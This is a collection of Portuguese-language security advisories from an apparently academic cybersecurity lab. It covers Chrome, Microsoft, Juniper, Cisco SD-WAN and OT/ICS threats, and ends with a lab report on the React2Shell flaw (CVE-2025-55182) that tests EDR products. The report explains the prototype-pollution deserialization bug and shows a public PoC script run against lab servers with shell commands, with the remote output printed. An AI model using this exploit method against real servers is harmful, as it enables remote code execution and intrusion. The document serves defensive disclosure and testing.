Duas falhas críticas foram identificadas no navegador Google Chrome e demais navegadores baseados em Chromium: CVE‑2026‑3909 (Skia) e CVE‑2026‑3910 (V8). Ambas já estão sendo exploradas em ataques reais e receberam pontuação CVSS 8.8.
CVE‑2026‑3909 – falha de escrita fora dos limites (out‑of‑bounds write) na biblioteca gráfica Skia, podendo levar a corrupção de memória e eventual execução de código arbitrário ao visitar páginas HTML especialmente preparadas.
CVE‑2026‑3910 – falha de implementação no motor JavaScript/WebAssembly V8, permitindo execução de código dentro da sandbox do navegador a partir de páginas maliciosas.
Esses tipos de falhas são vetores frequentes de ataques e representam risco significativo para a infraestruturas.
Sobre Navegadores, Skia e V8
Skia é a biblioteca de gráficos 2D usada como motor de renderização (texto, imagens, formas) no Chrome/Chromium, ChromeOS, Android, Flutter e outros produtos, escrita em C++ e mantida pela Google, fornecendo uma camada comum de APIs gráficas multiplataforma.
V8 é o motor de JavaScript e WebAssembly de alto desempenho do Chrome/Chromium (também usado no Node.js), escrito em C++, responsável por analisar, compilar JIT e executar código JavaScript, implementando o padrão ECMAScript e rodando em múltiplas arquiteturas.
Atualmente, mais de 70% dos navegadores desktop usam Chromium devido à compatibilidade com sites modernos. Uma lista não exclusiva inclui: Google Chrome, Microsoft Edge, Brave, Perplexity Comet, Opera e Vivaldi.
Atenção especial deve ser dada aos navegadores agênticos (com capacidades de IA autônoma para tarefas como navegação, compras ou automação) baseados em Chromium/Chrome. Os principais são:
Arc Browser: Integra IA para resumir páginas, responder perguntas e gerenciar abas automaticamente.
SigmaOS: Agente de IA que navega e executa fluxos de trabalho por comandos naturais.
Comet Browser: Focado em automação agêntica para produtividade e tarefas online.
Undetectable.io: Chromium modificado para perfis agênticos em multi-contas e anonimato.
Esses usam o motor Blink/V8 do Chromium com extensões de IA, ideais para cenários de automação, mas exigem atualizações essas CVEs recentes.
Solução
Atualização imediata dos navegadores baseados em Chromium.
O Google publicou atualização emergencial do Chrome, corrigindo as duas vulnerabilidades nas versões ≥ 146.0.7680.75 (Windows e Linux) e ≥ 146.0.7680.76 (macOS), com correção específica também para Android.
Navegadores baseados em Chromium (por exemplo, Microsoft Edge, Brave, Opera, Comet, etc) devem receber atualizações equivalentes de seus respectivos fornecedores.
Outras ações recomendadas
Inventariar estações, notebooks e servidores que utilizem Chrome ou outros navegadores baseados em Chromium, incluindo quiosques, laboratórios e máquinas de uso compartilhado.
Acelerar o ciclo de patching para endpoints críticos, usuários privilegiados, equipes administrativas e ambientes com maior exposição à navegação externa.
Reforçar monitoramento em EDR, proxy e firewall para comportamentos suspeitos originados de processos de navegador (spawns de shells, conexões persistentes incomuns após crash do navegador, acesso a páginas com JavaScript fortemente ofuscado ou imagens/payloads atípicos).
Divulgar orientação aos usuários para reiniciar o navegador após a atualização, evitar atrasar a instalação de patches e manter atenção a comportamentos anômalos do browser (travamentos repetidos, janelas estranhas, redirecionamentos inesperados).
Enquanto a correção não for plenamente aplicada, estações desatualizadas devem ser consideradas em estado de risco elevado para comprometimento via navegação web, haja visto que nesse momento (13/3/2026 18:30 GMT-3) há indícios de exploração ativa.
Nota de transparência: Este artigo NÃO utilizou de ferramentas de Inteligência Artificial Generativa para sua escrita, exceto para realização de pesquisa e validação de referências. Os demais o conteúdos foram elaborados e revisados pelo autor.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
As atualizações mensais da Microsoft, conhecidas como Patch Tuesday, tem uma importante função, corrigir vulnerabilidades que podem ser exploradas por atacantes para comprometer ativos de ambientes corporativos ou pessoais. A última atualização, março de 2026 é um exemplo claro dos riscos de se manter sistemas desatualizados.
Conforme o release note da atualização, corrige 79 vulnerabilidades de segurança, incluindo duas falhas zero-day divulgadas publicamente, além de vulnerabilidades críticas no Windows 11, Windows Server, Microsoft Office, SQL Server e .NET.
Em detalhe temos:
46 vulnerabilidades de Elevação de Privilégio (EoP)
18 vulnerabilidades de Execução Remota de Código (RCE)
10 vulnerabilidades de Divulgação de Informação
4 vulnerabilidades de Negação de Serviço (DoS)
4 vulnerabilidades de Spoofing
2 vulnerabilidades de Bypass de Recursos de Segurança
Pontos de atenção
Vulnerabilidades Zero-Day Duas vulnerabilidades zero-day divulgadas publicamente, ou seja, falhas cujo funcionamento já era conhecido antes da liberação do patch.
CVE-2026-21262 – SQL Server (Elevação de Privilégio) Permite que um usuário autenticado eleve seus privilégios para SQL Admin (sysadmin) remotamente. Essa falha pode resultar em controle total de bases de dados críticas, comprometendo confidencialidade e integridade das informações.
CVE-2026-26127 – .NET (Negação de Serviço) Falha causada por leitura fora dos limites de memória, permitindo que um atacante cause indisponibilidade de serviços que dependem de aplicações .NET.
Vulnerabilidades Críticas no Microsoft Office
CVE-2026-26110 e CVE-2026-26113 – Microsoft Office (RCE) Essas vulnerabilidades podem ser exploradas apenas com a visualização do arquivo no Painel de Visualização, sem que o usuário precise abrir o documento. Isso representa um risco elevado de ataques por phishing e e-mails maliciosos.
CVE-2026-26144 – Microsoft Excel (Information disclosure) Permite vazar dados sensíveis e chamou atenção por possível exploração via Microsoft Copilot.
Elevação de Privilégio no Windows e Windows Server A maioria das vulnerabilidades corrigidas está relacionada à elevação de privilégio, afetando componentes centrais do Windows, como:
Windows Kernel, Windows SMB Server, Winlogon e Windows DWM Core Library.
Formado em Análise e Desenvolvimento de Sistemas na Fatec Rio Preto, comecei minha carreira com gerenciamento de infraestrutura terceirizada focado no Mercado Microsoft. Windows Server, Microsoft 365 e outros produtos da família foram o meu dia a dia por muitos anos. Como sempre focamos em manter os sistemas com os melhores processos de segurança, iniciamos os estudos para Cybersegurança. Pentest Profissional – Desec, Cursos do Cert.BR e certificações Palo Alto foram partes desse caminho, atualmente ao lado do time de SOC na CYLO temos o objetivo principal “Prevenir perdas”!
Uma vulnerabilidade crítica de segurança, identificada como CVE-2026-21902, foi descoberta no framework de detecção de anomalias On-Box do Junos OS Evolved da Juniper Networks. A falha, que possui uma pontuação CVSS de 9.8 (Crítica), permite que um atacante não autenticado com acesso à rede execute código arbitrário como root em roteadores da série PTX afetados, levando ao comprometimento total do dispositivo. Não há evidências de exploração ativa até o momento (27/2/2026).
[CWE-732]: Atribuição Incorreta de Permissões para um Recurso Crítico
De acordo com as informações que temos, a falha foi descoberta internamente pela Juniper Networks. A data exata de descoberta não foi divulgada publicamente. O que sabemos sobre as datas importantes são:
Data de Publicação NVD: 25 de fevereiro de 2026
Data da Última Modificação NVD: 27 de fevereiro de 2026
Data do Boletim de Segurança: 27 de fevereiro de 2026 (lançamento do patch de emergência)
A Juniper Networks confirmou que não há evidências de exploração ativa até o momento da divulgação pública. Por esses motivos, o EPSS dessa vulnerabilidade é baixo (0,25%), no momento de elaboração desse alerta, mas o panorama pode se alterar rapidamente. Entretanto, o boletim de segurança foi lançado como uma atualização fora do cronograma (out-of-band), indicando a urgência da correção.
Descrição Detalhada da Vulnerabilidade
A vulnerabilidade resulta de uma atribuição incorreta de permissões no framework de detecção de anomalias On-Box. Este serviço, que deveria ser acessível apenas por processos internos através de uma instância de roteamento interna, está exposto a redes externas. Um atacante pode explorar essa falha para acessar e manipular o serviço, permitindo a execução de código com privilégios de root e, consequentemente, obtendo controle total sobre o roteador.
É importante notar que o serviço vulnerável está ativado por padrão e não requer nenhuma configuração específica para estar exposto, ampliando o risco para os sistemas afetados.
Sistemas Afetados
A vulnerabilidade afeta exclusivamente as seguintes versões do Junos OS Evolved em roteadores da série PTX:
Versões da linha 25.4 anteriores a 25.4R1-S1-EVO e 25.4R2-EVO.
Versões do Junos OS Evolved anteriores à 25.4R1-EVO e o Junos OS padrãonão são afetadas por esta vulnerabilidade.
Mitigação e Recomendações
A Juniper Networks lançou atualizações de software para corrigir esta vulnerabilidade. Recomenda-se que os administradores de sistemas apliquem os patches o mais rápido possível.
Atualizações de Software
Atualize o Junos OS Evolved para uma das seguintes versões, ou posteriores:
25.4R1-S1-EVO
25.4R2-EVO
26.2R1-EVO
Medidas de Mitigação Temporárias
Para organizações que não podem aplicar as atualizações imediatamente, as seguintes medidas podem reduzir o risco de exploração:
Isolamento de Rede: Isole a rede de gerenciamento dos roteadores afetados para limitar o acesso.
Restrição de Acesso: Restrinja o acesso à porta do serviço vulnerável a partir de fontes não confiáveis.
Monitoramento de Logs: Monitore os logs do sistema para detectar qualquer atividade suspeita que possa indicar uma tentativa de exploração.
Impacto Potencial
A exploração bem-sucedida desta vulnerabilidade pode ter consequências graves. Como destacado, o comprometimento de um roteador PTX pode ir além do próprio dispositivo. Um atacante pode usar o roteador como um ponto de observação para interceptar o tráfego de rede, redirecionar dados ou como um pivô para lançar ataques a outras redes adjacentes.
Embora a Juniper Networks não tenha conhecimento de exploração ativa desta vulnerabilidade até o momento, a criticidade da falha exige atenção imediata.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Identificamos uma campanha global de ciberataques perpetrada por agentes maliciosos, focada na exploração de vulnerabilidades em dispositivos de rede SD-WAN (Software-Defined Wide Area Network). Os atacantes estão explorando uma falha de segurança crítica nos controladores Cisco Catalyst SD-WAN para obter acesso não autorizado e estabelecer persistência de longo prazo nas redes corporativas.
Detalhes da Ameaça no Cisco Catalyst
A vulnerabilidade central, registrada como CVE-2026-20127, consiste em um bypass de autenticação no controlador Cisco Catalyst SD-WAN. Uma vez que a exploração é bem-sucedida, os atores da ameaça conseguem adicionar um dispositivo par (peer) não autorizado à rede. Este ponto de entrada inicial é então utilizado para escalar privilégios, culminando na obtenção de acesso root ao sistema. Com esse nível de controle, os invasores podem garantir sua permanência na infraestrutura SD-WAN, representando um risco significativo e contínuo para a organização.
Métricas da Ameaça no Cisco Catalyst
A CVE-2026-20127 possui pontuação CVSS v3.1 de 10.0 (crítica), com vetor AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Essa pontuação máxima reflete alto impacto em confidencialidade, integridade e disponibilidade, com exploração remota sem autenticação.
Também há uma métrica CVSS v2 de 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C).
O EPSS é de 0.976, indicando alta probabilidade (cerca de 97,6%) de exploração nos próximos 30 dias.
Esforço Coordenado de Resposta
Em resposta a esta ameaça, uma coalizão de agências internacionais de segurança cibernética, incluindo a Agência de Segurança Nacional dos EUA (NSA), a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA), e os centros de segurança cibernética da Austrália, Canadá, Nova Zelândia e Reino Unido, publicou o Guia de Caça de Vulnerabilidade “Exploitation of Cisco SD-WAN appliances“. Este documento, fundamentado em dados de investigações reais, foi desenvolvido para auxiliar os defensores de rede na detecção e resposta às atividades maliciosas.
Versões Vulneráveis Confirmadas
As versões afetadas pela CVE-2026-20127 incluem Cisco Catalyst SD-WAN Controller (ex-vSmart) e Manager (ex-vManage) em implantações on-premise e na nuvem hospedada pela Cisco.
Antes da versão 20.9.1: Migre para uma release corrigida.
20.9 até 20.9.8.1 (corrigida em 20.9.8.2, estimada para 27/02/2026).
20.12.5 até 20.12.5.2 (corrigida em 20.12.5.3).
20.12.6 até 20.12.6.0 (corrigida em 20.12.6.1).
20.13 até 20.15.4.1 (corrigida em 20.15.4.2).
20.14 até 20.15.4.1 (corrigida em 20.15.4.2).
20.15 até 20.15.4.1 (corrigida em 20.15.4.2).
20.16 até 20.18.2.0 (corrigida em 20.18.2.1).
20.18 até 20.18.2.0 (corrigida em 20.18.2.1).
Recomendações de Mitigação
As organizações autoras do guia recomendam enfaticamente que os administradores de rede adotem as seguintes medidas imediatas:
Ação Recomendada:
Descrição:
Coleta de Artefatos
Preserve evidências cruciais, como snapshots virtuais e logs completos da tecnologia SD-WAN, para análise forense.
O guia de hardening da Cisco oferece uma abordagem abrangente para proteger a infraestrutura SD-WAN. As principais recomendações incluem:
Controles de Perímetro de Rede: Posicione os componentes de controle atrás de um firewall, isole as interfaces da VPN 512 e utilize blocos de IP para provisionamento manual de dispositivos de borda.
Acesso ao Gerenciador SD-WAN: Substitua o certificado autoassinado da interface de usuário web por um certificado emitido por uma autoridade confiável.
Segurança do Plano de Controle e Dados: Utilize chaves par a par (pairwise keying) para aumentar a segurança da comunicação.
Tempo Limite de Sessão: Configure o tempo de inatividade da sessão para o menor período possível que não prejudique a operação.
Gerenciamento de Logs: Encaminhe todos os logs para um servidor syslog remoto e seguro para garantir a centralização e a integridade dos registros.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Temos observado, em diferentes regiões, campanhas de ataque em larga escala direcionadas a infraestruturas de tecnologia operacional e automação (OT), sistemas de controle industrial (ICS) e dispositivos IoT empregados em geração e distribuição de energia, especialmente em ativos distribuídos como parques eólicos, usinas solares e subestações remotas.
Nesses eventos invasores exploraram vulnerabilidades antigas sem patchs, falhas de higiene de senhas e exposição indevida de dispositivos de borda, mantendo persistência prolongada na rede. Foram comprometidos endpoints remotos, firewalls e concentradores VPN expostos diretamente à internet, muitos sem autenticação multifator e com credenciais fracas.
Esses ambientes compartilham características que ampliam significativamente a superfície de ataque, incluindo dispositivos de borda expostos à internet, acesso remoto permanente por VPN, credenciais fracas ou reutilizadas, equipamentos legados com baixa cadência de atualização e integração insuficiente entre equipes de TI e automação e operação.
Os impactos mais frequentes não são necessariamente apagões imediatos, mas sim perda de telemetria, indisponibilidade de controle remoto, necessidade de operação manual de campo, substituição de equipamentos e degradação prolongada da capacidade operacional. Em cenários extremos, observa-se uso de malware destrutivo com objetivo de sabotagem e, majoritariamente, sequestro de dados.
Recomendações
Diante desse contexto, recomenda-se que organizações do setor energético e industrial adotem uma postura de defesa em profundidade específica para OT/ICS, contemplando:
1. Medidas técnicas essenciais
Autenticação multifator obrigatória para todo acesso remoto;
Segmentação rigorosa entre redes IT, OT e IoT, com zonas bem definidas;
Eliminação de exposição direta de dispositivos de borda à internet;
Gestão contínua de vulnerabilidades e aplicação programada de patches;
Inventário completo de ativos OT, incluindo firmware e versões;
Monitoramento de integridade de endpoints, PLCs (controladoras lógicas programáveis) e gateways;
Detecção de perda de comunicação ou telemetria como indicador de incidente; e
Backups offline e planos de rápida reposição de equipamentos críticos.
2. Medidas operacionais e organizacionais
• Estabelecer SOC ou monitoramento dedicado a OT; • Integrar feeds de threat intelligence setoriais, quando disponíveis; • Realizar testes periódicos de resposta a incidentes e recuperação operacional; • Desenvolver playbooks específicos para indisponibilidades; • Realizar capacitação conjunta de equipes de TI, engenharia e automação; e • Realizar exercícios de contingência com operação manual.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Esse é um alerta crítico. A Microsoft lançou no início da noite de ontem (26 de janeiro de 2026) uma atualização de segurança de emergência, para corrigir a vulnerabilidade zero-day CVE-2026-21509, que permite contornar de proteções contra controles inseguros nos aplicativos Microsoft Office, fazendo que um ataque possa acontecer por intermédio de um documento ou arquivo malicioso, possivelmente sem interação do usuário.
A vulnerabilidade atinge aplicações Microsoft Office / 365 tanto no Windows como no macOS (veja comentário sobre o MacOS no final dessa postagem).
Temos notícias de que vulnerabilidade essa está sendo explorada ativamente por atacantes usando documentos maliciosos.
Essa falha afeta todas as versões, tais como Office 2016, 2019, LTSC 2021/2024 e Microsoft 365 Apps Enterprise, bem como Microsoft 365 Standalone ou Famility Edition, tanto no Windows quanto no macOS.
O que fazer, imediatamente
Aplique as atualizações de segurança do Microsoft Office via Microsoft Update ou WSUS.
Reinicie as aplicações Microsoft 365 (muito importante), ou faça um reboot.
Como mitigação temporária, configure o registro do Windows com a chave “Compatibility Flags” = 0x400 em HKEY_CURRENT_USER\Software\Microsoft\Office[version]\Common para reforçar as proteções OLE.
Monitore phishing com anexos Office, dado o uso em campanhas direcionadas.
Nota importante: reinicie a aplicação
Não há um “número de versão/build” específico a partir do qual se esteja seguro, pois a correção é aplicada via service-side change (mudança da regra de proteção COM/OLE nos servidores Microsoft). Assim, Office 2021 e posteriores, que estejam atualizados, ficam protegidos com a versão mais recente que você tenha testado como atualizada em 26/01/2026, e após reinício completo dos aplicativos, sem necessidade de novo patch de instalação ou alteração no número da versão local. Ou seja, se sua versão já estiver atualizada, pode ser que você não veja uma mudança no número de versão.
Severidade CVSS E EPSS
A pontuação CVSS de severidade dessa vulnerabilidade é 7.8 (alta severidade). No momento de escrita desse alerta (27/01/2026 9h43m BRT), ela ainda não possui um score EPSS (Exploit Prediction Scoring System) disponível nos dados públicos recentes, pois foi divulgada há apenas um dia (26 de janeiro de 2026). O EPSS é atualizado diariamente pela FIRST.org com base em dados de exploração real. Como ela está sendo explorada ativamente e listada no catálogo KEV da CISA, espera-se um score EPSS elevado. Verifique em https://www.first.org/epss/search?cve=CVE-2026-21509 para o valor mais atual.
Detalhamento
As proteções contra controles COM/OLE inseguros no Microsoft Office são mecanismos de segurança implementados para bloquear a execução automática de objetos “COM” (Component Object Model) e “OLE” (Object Linking and Embedding) potencialmente maliciosos.
Objetos COM/OLE perigosos são componentes ActiveX ou objetos vinculados, embutidos, anexados ou inseridos em documentos do Microsoft Office (como ícones, gráficos ou mini-aplicativos de outros programas) que podem conter código malicioso.
Eles podem explorar a confiança automática do Office para executar scripts ou payloads sem interação segura do usuário, permitindo roubo de dados, instalação de malware ou controle remoto do sistema, como observado em ataques por meio de macros VBA, arquivos HTA ou streams OLE ofuscados em documentos Word ou Excel.
A Microsoft introduziu mecanismos de mitigação, incluindo kill bits, para reduzir esses riscos, especialmente em cenários de phishing com anexos maliciosos. Em segurança cibernética, chamamos essas proteções de “kill bits“. Esses kill bits são flags de segurança no Registro do Windows que desabilitam a criação ou execução de controles ActiveX específicos no Microsoft Office. A vulnerabilidade zero-day CVE-2026-21509 no Microsoft Office explora uma falha relacionada a essa proteção, permitindo contornar a restrição imposta pelos kill bits.
Apple / macOS
A CVE-2026-21509 afeta sim o Microsoft 365 no macOS, especificamente as Microsoft 365 Apps for Enterprise, Family e Standalone (incluindo Word, Excel, PowerPoint, Outlook), pois as mitigações OLE/COM são aplicadas no cliente Office, não dependentes do Sistema Operacional.
A Microsoft confirma que para Office 2021 e posteriores (incluindo M365), a proteção é via service-side change, requerendo reinício dos apps no macOS após propagação do serviço, similar ao Windows. Verifique atualizações no Microsoft AutoUpdate no macOS e reinicie os apps para ativar a correção emergencial de 26/01/2026.
Apesar da correção ter saído ontem, 26/1/2026, no caso do macOS a versão NÃO vulnerável é a partir de, e incluindo, a Version 16.105.1, de 20/01/2026. Em outras palavras, a instalação em si não muda de número de versão via patch tradicional; o ambiente passa a ficar protegido quando o tenant já recebeu a atualização no serviço e o usuário reinicia Word/Excel/PowerPoint/Outlook, momento em que as novas mitigações OLE/COM entram em vigor.
Caso queira verificar e forçar uma atualização no macOS, os comandos via terminal são os seguintes:
cd "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS"
./msupdate --list # Lista atualizações disponíveis
./msupdate --install # Instala todas
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.
Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.
Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.
Serão descritos:
Aspectos técnicos da vulnerabilidade;
Um método de exploração em ambiente controlado; e
Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.
2. Visão Geral
A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function, utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.
2.1. Detalhes Técnicos
De acordo com indicadores oficiais, os seguintes detalhes foram levantados:
Categoria
Detalhes
Severidade
CVSS 3.x: 10.0 (Critica)
Data de publicação
3 de dezembro de 2025
Complexidade de exploração
Baixa – Requer requisição POST para um servidor vulnerável
Produto afetado
React 19, Next.js 15.0.0 a 16.0.6
Fraqueza Associada
CWE-502 – Desserialização de informação não confiável
Pontuação EPSS
1`3.40 % (em 08/12/2025) 77.80% (em 10/12/2025) 76.01% (em 11/12/2025)
Patch de correção
Pacote NPM (lançado 5 de dezembro de 2025, 06h29 UTC)
Setores Alvos
E-commerce, SaaS, Fintech, Plataformas de Streaming
2.2. Principal Vetor
O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.
2.3. Grupos de Criminosos
Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.
3. Explorando a CVE-2025-55182
Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).
Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.
IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.
Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.
3.1. Construção do Exploit e Criação do Payload
A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento
De forma resumida, as etapas adotadas no laboratório foram as seguintes:
Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s
141 packages are looking for funding
run `npm fund` for details
1 critical severity vulnerability
Figura 1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.
3.2. Execução da PoC
O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.
┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester"500:N176530853660.8210:{"a":"$@1","f":"","b":"development"}1:D["time":0.649100000002363Z]1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir"500:N176530855033Z.1970:{"a":"$@1","f":"","b":"development"}1:D["time":0.465700000006519]1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025 04:23 PM <DIR> . 12/09/2025 04:23 PM -0 .gitignore\r\n12/09/2025 04:28 PM 480 .gitignore\r\n12/09/2025 04:23 PM <DIR> next\r\n12/09/2025 04:23 PM 465 eslint.config.mjs\r\n12/09/2025 04:28 PM 257 next-env.d.ts\r\n12/09/2025 04:23 PM 1 33 next.config.ts\r\n12/09/2025 04:28 PM <DIR> node_modules\r\n12/09/2025 04:28 PM 227,243 package-lock.json\r\n12/09/2025 04:23 PM 567 package.json\r\n12/09/2025 04:23 PM <DIR> public\r\n12/09/2025 04:23 PM 1,450 README.md\r\n12/09/2025 04:23 PM 338,468 bytes\r\n12/09/2025 04:23 PM 0 File(s) 107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]
Figura 2 – Disparo da PoC pelo atacante
Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMapURL could not be parsed✖ Error: NEXT_REDIRECT at ignore-listed frames { digest: 'Volume in drive C has no label.\r\n' +'Volume Serial Number is E86C-A9DF\r\n' +'\r\n' +'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' +'\r\n' +'12/09/2025 04:28 PM <DIR> .\r\n' +'12/09/2025 04:23 PM <DIR> ..\r\n' +'12/09/2025 04:23 PM 480 .gitignore\r\n' +'12/09/2025 04:28 PM <DIR> .next\r\n' +'12/09/2025 04:23 PM <DIR> app\r\n' +'12/09/2025 04:23 PM 107,113 bun.lock\r\n' +'12/09/2025 04:23 PM 465 eslint.config.mjs\r\n' +'12/09/2025 04:28 PM 257 next-env.d.ts\r\n' +'12/09/2025 04:23 PM 133 next.config.ts\r\n' +'12/09/2025 04:28 PM <DIR> node_modules\r\n' +'12/09/2025 04:28 PM 227,243 package-lock.json\r\n' +'12/09/2025 04:23 PM 567 package.json\r\n' +'12/09/2025 04:23 PM 94 postcss.config.mjs\r\n' +'12/09/2025 04:23 PM <DIR> public\r\n' +'12/09/2025 04:23 PM 1,450 README.md\r\n' +'12/09/2025 04:23 PM 666 tsconfig.json\r\n' +' 10 File(s) 338,468 bytes\r\n' +' 6 Dir(s) 107,770,097,664 bytes free'}POST / 500 in 43ms (compile: 4ms, render: 39ms)
Figura 3 – Execução remota no servidor
